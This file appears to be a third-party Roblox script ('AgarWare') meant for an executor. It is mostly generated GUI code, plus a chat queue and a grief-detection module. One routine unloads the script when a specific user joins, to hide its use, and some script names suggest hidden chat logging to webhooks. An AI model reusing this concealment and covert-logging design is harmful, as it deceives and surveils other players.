G2L["347"]["Size"] = UDim2.new(0, 135, 0, 23);
G2L["347"]["LayoutOrder"] = 5;
G2L["347"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["347"]["Text"] = [[FALSE ALERT & CANCEL]];
G2L["347"]["Name"] = [[FalseAlertConfirm]];
G2L["347"]["Position"] = UDim2.new(0, 0, 0.97191, 0);
-- StarterGui.AgarWareGui.ConfirmGriefFrame.CancelConfirm
G2L["348"] = Instance.new("TextButton", G2L["342"]);
G2L["348"]["TextWrapped"] = true;
G2L["348"]["TextSize"] = 16;
G2L["348"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["348"]["BackgroundColor3"] = Color3.fromRGB(58, 0, 0);
G2L["348"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["348"]["Size"] = UDim2.new(0, 135, 0, 47);
G2L["348"]["LayoutOrder"] = 4;
G2L["348"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["348"]["Text"] = [[EXIT]];
G2L["348"]["Name"] = [[CancelConfirm]];
G2L["348"]["Position"] = UDim2.new(0, 0, 0.90062, 0);
-- StarterGui.AgarWareGui.ConfirmGriefFrame.GriefTargetLabel
G2L["349"] = Instance.new("TextLabel", G2L["342"]);
G2L["349"]["TextWrapped"] = true;
G2L["349"]["TextSize"] = 14;
G2L["349"]["TextScaled"] = true;
G2L["349"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["349"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["349"]["TextColor3"] = Color3.fromRGB(0, 45, 86);
G2L["349"]["Size"] = UDim2.new(0, 135, 0, 28);
G2L["349"]["BorderColor3"] = Color3.fromRGB(0, 67, 132);
G2L["349"]["Text"] = [[POSSIBLE GRIEF: Username]];
G2L["349"]["Name"] = [[GriefTargetLabel]];
-- StarterGui.AgarWareGui.ConfirmGriefFrame.PauseConfirm
G2L["34a"] = Instance.new("TextButton", G2L["342"]);
G2L["34a"]["TextWrapped"] = true;
G2L["34a"]["TextSize"] = 16;
G2L["34a"]["TextColor3"] = Color3.fromRGB(0, 45, 86);
G2L["34a"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["34a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["34a"]["Size"] = UDim2.new(0, 135, 0, 24);
G2L["34a"]["LayoutOrder"] = 9;
G2L["34a"]["BorderColor3"] = Color3.fromRGB(0, 67, 132);
G2L["34a"]["Text"] = [[PAUSE TIMER]];
G2L["34a"]["Name"] = [[PauseConfirm]];
G2L["34a"]["Position"] = UDim2.new(0, 0, 0.75776, 0);
-- StarterGui.AgarWareGui.Webhook
G2L["34b"] = Instance.new("Folder", G2L["1"]);
G2L["34b"]["Name"] = [[Webhook]];
-- StarterGui.AgarWareGui.Webhook.IngameLog
G2L["34c"] = Instance.new("LocalScript", G2L["34b"]);
G2L["34c"]["Name"] = [[IngameLog]];
-- StarterGui.AgarWareGui.Webhook.PealzLog
G2L["34d"] = Instance.new("LocalScript", G2L["34b"]);
G2L["34d"]["Name"] = [[PealzLog]];
-- StarterGui.AgarWareGui.Webhook.LagMachine
G2L["34e"] = Instance.new("LocalScript", G2L["34b"]);
G2L["34e"]["Name"] = [[LagMachine]];
-- StarterGui.AgarWareGui.Webhook.TCOLog
G2L["34f"] = Instance.new("LocalScript", G2L["34b"]);
G2L["34f"]["Name"] = [[TCOLog]];
-- StarterGui.AgarWareGui.Webhook.UniLog
G2L["350"] = Instance.new("LocalScript", G2L["34b"]);
G2L["350"]["Name"] = [[UniLog]];
-- StarterGui.AgarWareGui.Webhook.ChatLogs
G2L["351"] = Instance.new("LocalScript", G2L["34b"]);
G2L["351"]["Name"] = [[ChatLogs]];
-- StarterGui.AgarWareGui.Webhook.GlobalChatLogs
G2L["352"] = Instance.new("LocalScript", G2L["34b"]);
G2L["352"]["Name"] = [[GlobalChatLogs]];
-- StarterGui.AgarWareGui.Webhook.ChatLogsHIDDEN
G2L["353"] = Instance.new("LocalScript", G2L["34b"]);
G2L["353"]["Name"] = [[ChatLogsHIDDEN]];
-- StarterGui.AgarWareGui.Webhook.GlobalChatLogsHIDDEN
G2L["354"] = Instance.new("LocalScript", G2L["34b"]);
G2L["354"]["Name"] = [[GlobalChatLogsHIDDEN]];
-- StarterGui.AgarWareGui.Webhook.UserChatLogs
G2L["355"] = Instance.new("LocalScript", G2L["34b"]);
G2L["355"]["Name"] = [[UserChatLogs]];
-- StarterGui.AgarWareGui.ColorPicker
G2L["356"] = Instance.new("Frame", G2L["1"]);
G2L["356"]["Visible"] = false;
G2L["356"]["ZIndex"] = 999999999;
G2L["356"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["356"]["Size"] = UDim2.new(0, 215, 0, 291);
G2L["356"]["Position"] = UDim2.new(0.48922, 0, 0.35649, 0);
G2L["356"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["356"]["Name"] = [[ColorPicker]];
-- StarterGui.AgarWareGui.ColorPicker.DragColorPicker
G2L["357"] = Instance.new("LocalScript", G2L["356"]);
G2L["357"]["Name"] = [[DragColorPicker]];
-- StarterGui.AgarWareGui.ColorPicker.ColorPickerScript
G2L["358"] = Instance.new("LocalScript", G2L["356"]);
G2L["358"]["Name"] = [[ColorPickerScript]];
-- StarterGui.AgarWareGui.ColorPicker.ColorPickerTitle
G2L["359"] = Instance.new("TextLabel", G2L["356"]);
G2L["359"]["BorderSizePixel"] = 0;
G2L["359"]["TextSize"] = 14;
G2L["359"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["359"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["359"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["359"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["359"]["BackgroundTransparency"] = 1;
G2L["359"]["Size"] = UDim2.new(0, 200, 0, 23);
G2L["359"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["359"]["Text"] = [[Color Picker]];
G2L["359"]["Name"] = [[ColorPickerTitle]];
G2L["359"]["Position"] = UDim2.new(0.03241, 0, 0, 0);
-- StarterGui.AgarWareGui.ColorPicker.CloseColorPicker
G2L["35a"] = Instance.new("TextButton", G2L["356"]);
G2L["35a"]["BorderSizePixel"] = 0;
G2L["35a"]["TextSize"] = 14;
G2L["35a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35a"]["FontFace"] = Font.new([[rbxasset://fonts/families/RobotoMono.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35a"]["BackgroundTransparency"] = 1;
G2L["35a"]["Size"] = UDim2.new(0, 25, 0, 25);
G2L["35a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35a"]["Text"] = [[x]];
G2L["35a"]["Name"] = [[CloseColorPicker]];
G2L["35a"]["Position"] = UDim2.new(0.88189, 0, -0.00065, 0);
-- StarterGui.AgarWareGui.ColorPicker.HueSlider
G2L["35b"] = Instance.new("Frame", G2L["356"]);
G2L["35b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35b"]["Size"] = UDim2.new(0, 200, 0, 25);
G2L["35b"]["Position"] = UDim2.new(0.03781, 0, 0.76607, 0);
G2L["35b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["35b"]["Name"] = [[HueSlider]];
-- StarterGui.AgarWareGui.ColorPicker.SaturationValueCanvas
G2L["35c"] = Instance.new("Frame", G2L["356"]);
G2L["35c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35c"]["Size"] = UDim2.new(0, 200, 0, 200);
G2L["35c"]["Position"] = UDim2.new(0.03781, 0, 0.07878, 0);
G2L["35c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["35c"]["Name"] = [[SaturationValueCanvas]];
-- StarterGui.AgarWareGui.ColorPicker.ColorSelect
G2L["35d"] = Instance.new("TextButton", G2L["356"]);
G2L["35d"]["TextSize"] = 14;
G2L["35d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35d"]["Size"] = UDim2.new(0, 134, 0, 25);
G2L["35d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["35d"]["Text"] = [[Select Color]];
G2L["35d"]["Name"] = [[ColorSelect]];
G2L["35d"]["Position"] = UDim2.new(0.34479, 0, 0.88097, 0);
-- StarterGui.AgarWareGui.ColorPicker.HEX
G2L["35e"] = Instance.new("TextBox", G2L["356"]);
G2L["35e"]["Name"] = [[HEX]];
G2L["35e"]["PlaceholderColor3"] = Color3.fromRGB(179, 179, 179);
G2L["35e"]["TextSize"] = 14;
G2L["35e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35e"]["PlaceholderText"] = [[#ffffff]];
G2L["35e"]["Size"] = UDim2.new(0, 68, 0, 25);
G2L["35e"]["Position"] = UDim2.new(0.02851, 0, 0.88097, 0);
G2L["35e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["35e"]["Text"] = [[]];
-- StarterGui.AgarWareGui.ColorPicker.HEX.HEXScript
G2L["35f"] = Instance.new("LocalScript", G2L["35e"]);
G2L["35f"]["Name"] = [[HEXScript]];
-- StarterGui.AgarWareGui.LoadedMainFrame
G2L["360"] = Instance.new("Frame", G2L["1"]);
G2L["360"]["ZIndex"] = 999999999;
G2L["360"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["360"]["Size"] = UDim2.new(0, 300, 0, 100);
G2L["360"]["Position"] = UDim2.new(0.6571, 0, 0.1819, 0);
G2L["360"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["360"]["Name"] = [[LoadedMainFrame]];
-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedScript
G2L["361"] = Instance.new("LocalScript", G2L["360"]);
G2L["361"]["Name"] = [[LoadedScript]];
-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedFrame
G2L["362"] = Instance.new("Frame", G2L["360"]);
G2L["362"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["362"]["Size"] = UDim2.new(0, 284, 0, 84);
G2L["362"]["Position"] = UDim2.new(0.02667, 0, 0.08, 0);
G2L["362"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["362"]["Name"] = [[LoadedFrame]];
-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedFrame.AGARWARELOADED
G2L["363"] = Instance.new("TextLabel", G2L["362"]);
G2L["363"]["TextWrapped"] = true;
G2L["363"]["BorderSizePixel"] = 0;
G2L["363"]["TextSize"] = 30;
G2L["363"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["363"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["363"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["363"]["BackgroundTransparency"] = 1;
G2L["363"]["Size"] = UDim2.new(0, 284, 0, 61);
G2L["363"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["363"]["Text"] = [[AGAR WARE]];
G2L["363"]["Name"] = [[AGARWARELOADED]];
-- StarterGui.AgarWareGui.LoadedMainFrame.LoadedFrame.GameNameLoaded
G2L["364"] = Instance.new("TextLabel", G2L["362"]);
G2L["364"]["TextWrapped"] = true;
G2L["364"]["BorderSizePixel"] = 0;
G2L["364"]["TextSize"] = 16;
G2L["364"]["TextTransparency"] = 0.4;
G2L["364"]["TextScaled"] = true;
G2L["364"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["364"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["364"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["364"]["BackgroundTransparency"] = 1;
G2L["364"]["Size"] = UDim2.new(0, 284, 0, 21);
G2L["364"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["364"]["Text"] = [[by agarv :)]];
G2L["364"]["Name"] = [[GameNameLoaded]];
G2L["364"]["Position"] = UDim2.new(0, 0, 0.65476, 0);
-- StarterGui.AgarWareGui.WebhookLogging
G2L["365"] = Instance.new("Folder", G2L["1"]);
G2L["365"]["Name"] = [[WebhookLogging]];
-- StarterGui.AgarWareGui.WebhookLogging.OnlineUsers
G2L["366"] = Instance.new("LocalScript", G2L["365"]);
G2L["366"]["Name"] = [[OnlineUsers]];
-- StarterGui.AgarWareGui.WebhookLogging.AgarChat
G2L["367"] = Instance.new("LocalScript", G2L["365"]);
G2L["367"]["Name"] = [[AgarChat]];
-- StarterGui.AgarWareGui.MasterScripts
G2L["368"] = Instance.new("Folder", G2L["1"]);
G2L["368"]["Name"] = [[MasterScripts]];
-- StarterGui.AgarWareGui.MasterScripts.ResetCharacter
G2L["369"] = Instance.new("LocalScript", G2L["368"]);
G2L["369"]["Name"] = [[ResetCharacter]];
-- StarterGui.AgarWareGui.MasterScripts.RefreshBkitTools
G2L["36a"] = Instance.new("LocalScript", G2L["368"]);
G2L["36a"]["Name"] = [[RefreshBkitTools]];
-- StarterGui.AgarWareGui.MasterScripts.AGARVOWNERLABEL
G2L["36b"] = Instance.new("LocalScript", G2L["368"]);
G2L["36b"]["Name"] = [[AGARVOWNERLABEL]];
-- StarterGui.AgarWareGui.MasterScripts.PLAYERLISTUSER
G2L["36c"] = Instance.new("LocalScript", G2L["368"]);
G2L["36c"]["Name"] = [[PLAYERLISTUSER]];
-- StarterGui.AgarWareGui.MoveToCorGui
local function C_2()
local script = G2L["2"];
local CoreGui = game:GetService("CoreGui")
local RunService = game:GetService("RunService")
-- Only move to CoreGui when running in an actual game, not Studio
if not RunService:IsStudio() then
local gui = script.Parent
task.wait()
gui.Parent = CoreGui
end
end;
task.spawn(C_2);
-- StarterGui.AgarWareGui.ChatQueue
local function C_3()
local script = G2L["3"];
-- ChatQueue
-- All scripts use shared.sendChat(message) instead of sending directly
-- This queues messages and sends them one at a time with a small gap
local TextChatService = game:GetService("TextChatService")
local queue = {}
local isProcessing = false
local function processQueue()
if isProcessing then return end
if #queue == 0 then return end
isProcessing = true
while #queue > 0 do
local message = table.remove(queue, 1)
if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
TextChatService.TextChannels.RBXGeneral:SendAsync(message)
else
game:GetService("ReplicatedStorage")
.DefaultChatSystemChatEvents
.SayMessageRequest
:FireServer(message, "All")
end
task.wait(0.3)
end
isProcessing = false
end
shared.sendChat = function(message)
table.insert(queue, message)
task.spawn(processQueue)
end
end;
task.spawn(C_3);
-- StarterGui.AgarWareGui.Execution
local function C_4()
local script = G2L["4"];
local TextChatService = game:GetService("TextChatService")
local Players = game:GetService("Players")
local TCO_PLACE_IDS = {
11137575513,
12943245078,
12943247001,
108097274488844,
}
local LocalPlayer = Players.LocalPlayer
local PlayerGui = LocalPlayer.PlayerGui
--------------------------------------------------
-- DESTROY DUPLICATE GUI
-- If this script runs and AgarWareGui already exists,
-- destroy the OLD one so the new one loads fresh
--------------------------------------------------
local existing = PlayerGui:FindFirstChild("AgarWareGui")
if existing and existing ~= script.Parent then
existing:Destroy()
end
--------------------------------------------------
-- WAIT FOR GUI
--------------------------------------------------
local AgarWareGui = script.Parent
local MainFrame = AgarWareGui:WaitForChild("MainFrame")
local KeybindFrame = AgarWareGui:WaitForChild("KeybindFrame")
--------------------------------------------------
-- CENTER MAIN FRAME
--------------------------------------------------
MainFrame.AnchorPoint = Vector2.new(0.5, 0)
MainFrame.Position = UDim2.new(0.5, 0, 0.5, -150)
--------------------------------------------------
-- POSITION KEYBIND FRAME TOP RIGHT
--------------------------------------------------
local function positionKeybind()
KeybindFrame.AnchorPoint = Vector2.new(1, 0)
KeybindFrame.Position = UDim2.new(1, -10, 0, 10)
end
positionKeybind()
workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
positionKeybind()
end)
--------------------------------------------------
-- WELCOME MESSAGE
--------------------------------------------------
task.defer(function()
local systemChannel = TextChatService.TextChannels:FindFirstChild("RBXSystem")
if systemChannel then
systemChannel:DisplaySystemMessage("Thank you for using my script - agarvvoid")
task.wait(0.1)
local currentPlaceId = game.PlaceId
local isValidPlace = false
for _, id in ipairs(TCO_PLACE_IDS) do
if currentPlaceId == id then
isValidPlace = true
break
end
end
if isValidPlace then
local topPlayer = nil
local topTime = -1
for _, player in ipairs(Players:GetPlayers()) do
local leaderstats = player:FindFirstChild("leaderstats")
if leaderstats then
local timeVal = leaderstats:FindFirstChild("Time")
if timeVal and timeVal.Value > topTime then
topTime = timeVal.Value
topPlayer = player
end
end
end
if topPlayer then
local isFriend = false
local success, result = pcall(function()
return LocalPlayer:IsFriendsWith(topPlayer.UserId)
end)
if success then isFriend = result end
local displayName = topPlayer.DisplayName
local label = isFriend and (displayName .. " (Friend)") or displayName
systemChannel:DisplaySystemMessage("Current Admin: " .. label)
end
end
end
end)
end;
task.spawn(C_4);
-- StarterGui.AgarWareGui.UnloadBLACKLIST
local function C_5()
local script = G2L["5"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
-- The ID you want to hide from seeing you use the script
local BLOCKED_ID = 8615658150
-- Exception list: these users will NOT trigger the unload
local EXCEPTIONS = {
9763171531, -- pealz
10304502709, -- mental
2581030028, -- valtiel
10340049663, -- evilguy
10587072700, -- agarv alt
574381128, -- agarv
}
local function isException(userId)
for _, id in ipairs(EXCEPTIONS) do
if id == userId then
return true
end
end
return false
end
local function isBlocked(player)
if isException(player.UserId) then
return false
end
return player.UserId == BLOCKED_ID and player ~= LocalPlayer
end
local function unloadScript()
pcall(function()
local screenGui = LocalPlayer.PlayerGui:FindFirstChild("AgarWareGui")
if screenGui then
screenGui:Destroy()
print("Script unloaded: Blacklisted user detected.")
end
end)
end
for _, player in ipairs(Players:GetPlayers()) do
if isBlocked(player) then
unloadScript()
return
end
end
Players.PlayerAdded:Connect(function(player)
if isBlocked(player) then
unloadScript()
end
end)
end;
task.spawn(C_5);
-- StarterGui.AgarWareGui.GriefDetectorConsole
local function C_6()
local script = G2L["6"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ScreenGui = script.Parent
--------------------------------------------------
-- SHARED EVENTS
--------------------------------------------------
shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent")
shared.DeleteGriefEvent = shared.DeleteGriefEvent or Instance.new("BindableEvent")
shared.PaintGriefEvent = shared.PaintGriefEvent or Instance.new("BindableEvent")
shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent")
shared.BuildGriefEvent = shared.BuildGriefEvent or Instance.new("BindableEvent")
shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent")
--------------------------------------------------
-- IDS
--------------------------------------------------
local BRICK_SOUND_ID = "rbxassetid://9117183621"
local PAINT_SOUND_ID = "rbxassetid://18473826"
local DELETE_ANIM_ID = "17755760862"
--------------------------------------------------
-- SETTINGS
--------------------------------------------------
local MAX_DISTANCE = 30
local SOUND_MIN_NORMAL = 0.04
local SOUND_MAX_NORMAL = 0.15
local SOUND_MIN_EXPLOIT = 0.01
local SOUND_MAX_EXPLOIT = 0.15
local SLASH_WINDOW = 0.5
local EXPLOIT_WAIT = 0.5
local EXPLOIT_SOUND_WAIT = 1.0
local DELCUBE_THRESHOLD = 4
local GRIEF_COUNT = 12
local GRIEF_TIME = 5
local EXPLOIT_COUNT = 40
local EXPLOIT_TIME = 7
local SPAM_COUNT = 60
local SPAM_TIME = 13
--------------------------------------------------
-- ATTRIBUTE HELPERS
--------------------------------------------------
local function isDeleteOn() return ScreenGui:GetAttribute("DeleteLogsEnabled") == true end
local function isPaintOn() return ScreenGui:GetAttribute("PaintLogsEnabled") == true end
local function isExploitOn() return ScreenGui:GetAttribute("ExploitsLogsEnabled") == true end
local function isSpamOn() return ScreenGui:GetAttribute("SpamLogsEnabled") == true end
local function anyOn() return isDeleteOn() or isPaintOn() or isExploitOn() or isSpamOn() end
--------------------------------------------------
-- GRIEF SETTINGS
--------------------------------------------------
local function isWhitelisted(player)
local w = shared.GriefWhitelist
return w and w[player.Name] == true
end
local function hasArkenstone(player)
local b = player:FindFirstChild("Backpack")
return b and b:FindFirstChild("The Arkenstone") ~= nil
end
local function passesEnlightenCheck(player)
local e = shared.GriefEnlightenEnabled
if e == nil then e = true end
if e then return true end
return not hasArkenstone(player)
end
local function passesTimeFilterCheck(player)
local filter = shared.GriefTimeFilter or 0
if filter == 0 then return true end
local ls = player:FindFirstChild("leaderstats")
if not ls then return true end
local t = ls:FindFirstChild("Time")
if not t then return true end
return t.Value < filter
end
local function passesInGameCheck(ownerName)
local e = shared.GriefInGameEnabled
if e == nil then e = true end
if e then return true end
return Players:FindFirstChild(ownerName) ~= nil
end
local OWNER_IDS = {
574381128, -- main
10587072700, -- alt 1
8308247571, -- alt 2
10837544781, -- agarv609
}
local function isOwner(player)
for _, id in ipairs(OWNER_IDS) do
if player.UserId == id then return true end
end
return false
end
local function passesFilters(player, ownerName)
if isOwner(player) then return false end
if isWhitelisted(player) then return false end
if not passesEnlightenCheck(player) then return false end
if not passesTimeFilterCheck(player) then return false end
if not passesInGameCheck(ownerName) then return false end
return true
end
--------------------------------------------------
-- STATE
--------------------------------------------------
local isRunning = false
local connections = {}
local recentDeleteSound = {}
local recentPaintSound = {}
local recentSlashAnim = {}
local deleteTracker = {}
local deleteCooldown = {}
local paintTracker = {}
local paintCooldown = {}
local exploitDeleteTracker = {}
local exploitDeleteCooldown = {}
local exploitPaintTracker = {}
local exploitPaintCooldown = {}
local spamTracker = {}
local spamCooldown = {}
local delcubeTracker = {}
local function clearTable(t)
for k in pairs(t) do t[k] = nil end
end
local function clearArray(t)
for i = #t, 1, -1 do table.remove(t, i) end
end
--------------------------------------------------
-- GRIEF COUNTER
--------------------------------------------------
local function addCount(tracker, userId, now, window)
tracker[userId] = tracker[userId] or {times = {}}
local times = tracker[userId].times
table.insert(times, now)
for i = #times, 1, -1 do
if now - times[i] > window then
table.remove(times, i)
end
end
return #times
end
local function resetCount(tracker, userId)
tracker[userId] = {times = {}}
end
--------------------------------------------------
-- HELPERS
--------------------------------------------------
local function getHRP(player)
if not player.Character then return nil end
return player.Character:FindFirstChild("HumanoidRootPart")
end
local function getPlayerDist(player, pos)
local hrp = getHRP(player)
if not hrp then return math.huge end
return (hrp.Position - pos).Magnitude
end
local function playedSlashNear(player, eventTime)
local t = recentSlashAnim[player.UserId]
if not t then return false end
return math.abs(t - eventTime) <= SLASH_WINDOW
end
local function playedDeleteSoundInRange(player, eventTime, sMin, sMax)
local t = recentDeleteSound[player.UserId]
if not t then return false end
local delay = t - eventTime
return delay >= sMin and delay <= sMax
end
local function playedPaintSoundInRange(player, eventTime, sMin, sMax)
local t = recentPaintSound[player.UserId]
if not t then return false end
local delay = t - eventTime
return delay >= sMin and delay <= sMax
end
local function waitUntil(condFn, timeout)
local start = tick()
while tick() - start < timeout do
if condFn() then return true end
RunService.Heartbeat:Wait()
end
return condFn()
end
local function getDisplayName(player)
if player.DisplayName ~= player.Name then
return player.Name .. " / " .. player.DisplayName
end
return player.Name
end
--------------------------------------------------
-- DELCUBE CHECK
--------------------------------------------------
local function isDelcube(folderName, removedAt)
local entry = delcubeTracker[folderName]
if not entry then
delcubeTracker[folderName] = {lastTick = removedAt, count = 1}
return false
end
local diff = removedAt - entry.lastTick
if diff < 0.05 then
entry.count = entry.count + 1
entry.lastTick = removedAt
return entry.count >= DELCUBE_THRESHOLD
else
delcubeTracker[folderName] = {lastTick = removedAt, count = 1}
return false
end
end
--------------------------------------------------
-- FLAG DELETE
--------------------------------------------------
local function flagDelete(player, ownerName)
if deleteCooldown[player.UserId] and tick() < deleteCooldown[player.UserId] then return end
local count = addCount(deleteTracker, player.UserId, tick(), GRIEF_TIME)
local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)"
local display = getDisplayName(player)
if count >= GRIEF_COUNT then
local cooldown = shared.GriefCooldown or 30
print("[GRIEFLOG] 🚨 " .. display .. " | Triggered Delete Detection | Cooldown: " .. cooldown)
shared.GriefEvent:Fire(player, "delete")
shared.DeleteGriefEvent:Fire(player)
resetCount(deleteTracker, player.UserId)
deleteCooldown[player.UserId] = tick() + cooldown
task.delay(cooldown, function()
print("[DELETE] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
end)
end
end
--------------------------------------------------
-- FLAG PAINT
--------------------------------------------------
local function flagPaint(player, ownerName)
if paintCooldown[player.UserId] and tick() < paintCooldown[player.UserId] then return end
local count = addCount(paintTracker, player.UserId, tick(), GRIEF_TIME)
local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)"
local display = getDisplayName(player)
if count >= GRIEF_COUNT then
local cooldown = shared.GriefCooldown or 30
print("[GRIEFLOG] 🚨 " .. display .. " | Triggered Paint Detection | Cooldown: " .. cooldown)
shared.GriefEvent:Fire(player, "paint")
shared.PaintGriefEvent:Fire(player)
resetCount(paintTracker, player.UserId)
paintCooldown[player.UserId] = tick() + cooldown
task.delay(cooldown, function()
print("[PAINT] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
end)
end
end
--------------------------------------------------
-- FLAG EXPLOIT DELETE
--------------------------------------------------
local function flagExploitDelete(player, ownerName)
if exploitDeleteCooldown[player.UserId] and tick() < exploitDeleteCooldown[player.UserId] then return end
local count = addCount(exploitDeleteTracker, player.UserId, tick(), EXPLOIT_TIME)
local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)"
local display = getDisplayName(player)
if count >= EXPLOIT_COUNT then
local cooldown = shared.GriefCooldown or 30
print("[GRIEFLOG] 🚨 " .. display .. " | Triggered Exploit Detection (Delete) | Cooldown: " .. cooldown)
shared.GriefEvent:Fire(player, "exploit")
shared.ExploitGriefEvent:Fire(player)
resetCount(exploitDeleteTracker, player.UserId)
exploitDeleteCooldown[player.UserId] = tick() + cooldown
task.delay(cooldown, function()
print("[DELETE EXPLOIT] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
end)
end
end
--------------------------------------------------
-- FLAG EXPLOIT PAINT
--------------------------------------------------
local function flagExploitPaint(player, ownerName)
if exploitPaintCooldown[player.UserId] and tick() < exploitPaintCooldown[player.UserId] then return end
local count = addCount(exploitPaintTracker, player.UserId, tick(), EXPLOIT_TIME)
local suffix = Players:FindFirstChild(ownerName) and "" or " (NOT INGAME)"
local display = getDisplayName(player)
if count >= EXPLOIT_COUNT then
local cooldown = shared.GriefCooldown or 30
print("[GRIEFLOG] 🚨 " .. display .. " | Triggered Exploit Detection (Paint) | Cooldown: " .. cooldown)
shared.GriefEvent:Fire(player, "exploit")
shared.ExploitGriefEvent:Fire(player)
resetCount(exploitPaintTracker, player.UserId)
exploitPaintCooldown[player.UserId] = tick() + cooldown
task.delay(cooldown, function()
print("[PAINT EXPLOIT] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
end)
end
end
--------------------------------------------------
-- FLAG SPAM
--------------------------------------------------
local function flagSpam(player)
if spamCooldown[player.UserId] and tick() < spamCooldown[player.UserId] then return end
local count = addCount(spamTracker, player.UserId, tick(), SPAM_TIME)
if count % 10 == 0 then
print("[BUILD] " .. player.Name .. " build spam | Count: " .. count .. "/" .. SPAM_COUNT)
end
if count >= SPAM_COUNT then
local cooldown = shared.GriefCooldown or 30
print("[BUILDGRIEFLOG] 🚨 " .. player.Name .. " is placing blocks too fast | Cooldown: " .. cooldown)
shared.GriefEvent:Fire(player, "build")
shared.BuildGriefEvent:Fire(player)
resetCount(spamTracker, player.UserId)
spamCooldown[player.UserId] = tick() + cooldown
task.delay(cooldown, function()
print("[BUILD] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
end)
end
end
--------------------------------------------------
-- EXPLOIT DETECTION (DELETE)
-- Only flags players OUTSIDE 30 studs from brick
--------------------------------------------------
local function runExploitDelete(ownerName, brickPos, eventTime)
if not isExploitOn() then return end
-- Wait up to 1s for someone to play the brick sound
local soundPlayed = waitUntil(function()
for _, player in ipairs(Players:GetPlayers()) do
local t = recentDeleteSound[player.UserId]
if t and (t - eventTime) >= SOUND_MIN_EXPLOIT and (t - eventTime) <= SOUND_MAX_EXPLOIT then
return true
end
end
return false
end, EXPLOIT_SOUND_WAIT)
if not soundPlayed then return end
-- Collect who played the sound in the exploit window AND is outside 30 studs
local soundPlayers = {}
for _, player in ipairs(Players:GetPlayers()) do
local t = recentDeleteSound[player.UserId]
if t then
local delay = t - eventTime
if delay >= SOUND_MIN_EXPLOIT and delay <= SOUND_MAX_EXPLOIT then
-- Only flag if outside 30 studs
if getPlayerDist(player, brickPos) > MAX_DISTANCE then
table.insert(soundPlayers, player)
end
end
end
end
if #soundPlayers == 0 then return end
-- Wait 0.5s before checking slash and logging
task.wait(EXPLOIT_WAIT)
local slashPlayers = {}
